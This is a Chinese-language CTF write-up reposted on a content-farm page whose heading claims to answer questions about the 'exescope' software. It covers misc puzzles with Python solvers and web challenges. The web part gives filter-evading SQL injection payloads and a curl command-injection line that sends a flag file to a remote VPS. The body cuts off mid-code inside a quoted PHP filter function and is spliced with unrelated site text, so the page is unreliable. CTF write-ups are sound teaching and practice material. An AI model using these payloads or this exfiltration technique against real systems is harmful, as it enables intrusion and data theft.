最近有很多读者朋友对exescope有疑问。由部分网友整理出相关内容希望能够解答你的疑惑,关于exescope是什么软件,本站也已经为你找到了问题的答案,希望能帮助到你。
作者:08067
预估稿费:300RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
比赛地址:ctf.08067.me
misc 100-1
http://misc.08067.me/misc4
misc 100-1 很简单,就是jsfuck和brianfuck两次编码,直接解出即可。
Misc 100-2
http://misc.08067.me/misc3/
Misc 100-2题目给的是一个图片,用winhex打开看到底部的密文
Base32解密得到:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
发现是凯撒加密,不过奇偶数移位方向不一样,发现偏移量是16,用脚本跑一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}" for i in range ( 26 ): key = '' for x in str : s = ord (x) if (s not in range ( 97 , 123 )) and (s not in range ( 65 , 91 )): key = key + chr (s) else : #print chr(s) if s in range ( 97 , 123 ): if s % 2 = = 0 : s = s - i if s not in range ( 97 , 123 ): t = 97 - s t = 123 - t key = key + chr (t) else : key = key + chr (s) else : s = s + i if s not in range ( 97 , 123 ): t = s - 122 + 96 key = key + chr (t) else : key = key + chr (s) else : #print chr(s) if s % 2 = = 0 : s = s - i if s not in range ( 65 , 91 ): t = 65 - s t = 91 - t key = key + chr (t) else : key = key + chr (s) else : s = s + i if s not in range ( 65 , 91 ): t = s - 90 + 64 key = key + chr (t) else : key = key + chr (s) print key |
Misc 150
http://misc.08067.me/misc2/
打开wireshark数据包,提取http数据,得到一个flag.zip,
解压得到一个ce.txt文件,打开发现是一个rgb图片的像素点,然后用脚本还原即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from PIL import Image import re if __name__ = = '__main__' : x = 887 y = 111 i = 0 j = 0 c = Image.new( "RGB" , (x,y)) file_object = open ( 'ce.txt' ) for i in range ( 0 , x): for j in range ( 0 , y): line = file_object. next () lst = line.split( "," ) c.putpixel((i, j), ( int (lst[ 0 ]), int (lst[ 1 ]), int (lst[ 2 ]))) c.show() c.save( "c.png" ) |
web 200-1
http://web1.08067.me/
注入,过滤了空格、#、*、union、like、regexp、and、or、|、–、&、%0a、%0b、%0c、%0d等,需要想办法用其他操作符连接注入语句和闭合’。
mysql操作符参考:http://blog.csdn.net/yuzongtao/article/details/45044963
几个可用的poc:
1
|
uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd |
1
|
uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd |
1
|
uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd |
1
|
uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1 |
来到后台,可以执行命令,但是对反弹shell的一些关键字做了过滤,对空格也做了过滤,只能通过cat读取flag,没又回显,然后打到用远程vps的日志上面
exp:
curl$IFS\vps:1234/`cat$IFS\../../flag`
web 200-2
http://web3.08067.me/
这道题主要是考察了php底层 wakeup 的一个bug,https://bugs.php.net/bug.php?id=72663
这道题根据tips:编辑器,可以考虑到.bak文件泄露
通过 robots.txt 发现了 function.php commom.php ,
最后找到了 function.php.bak index.php.bak
我们就获得了 整道题的代码
Index.php.bak
我们可以看见了这里 通过 cookie 的登陆
/function.php.bak
其他过滤代码 在该文件都可以得到
addslashes_deep() 是无法绕过的,我们就只能绕过wakeup
根据那个bug 的描述,我们直接进入 __destruct() ,这里我们取出了 $this->name
$this->name 是base64decode后,然后反序列化得到的,不用考虑waf等东西
我们看了这里只有一个 Checksql($sql)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
//sql 过滤 static function CheckSql($db_string,$querytype='select') { $clean=''; $error=''; $old_pos=0; $pos=-1; if($querytype=='select') { $notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}"; if(preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } } //完整的SQL检查 while (TRUE) { $pos=strpos($db_string, '\'', $pos + 1); if ($pos===FALSE) { break; } $clean .=substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1=strpos($db_string, '\'', $pos + 1); $pos2=strpos($db_string, '\\', $pos + 1); if ($pos1===FALSE) { break; } elseif ($pos2==FALSE || $pos2 > $pos1) { $pos=$pos1; break; } $pos=$pos2 + 1; } $clean .='$s 主题测试文章,只做测试使用。发布者:艾迪号,转转请注明出处:https://www.cqaedi.cn/baike/19542.html 赞 (0)
打赏
![]() ![]()
excel单元格跨页被分割(excel单元格跨页被分割后在两页都显示)
上一篇
2022年 12月 13日 上午4:53
findx3pro最严重的缺点(findx3pro最严重的缺点_findx3pro骂声一片)
下一篇
2022年 12月 13日 上午6:05
|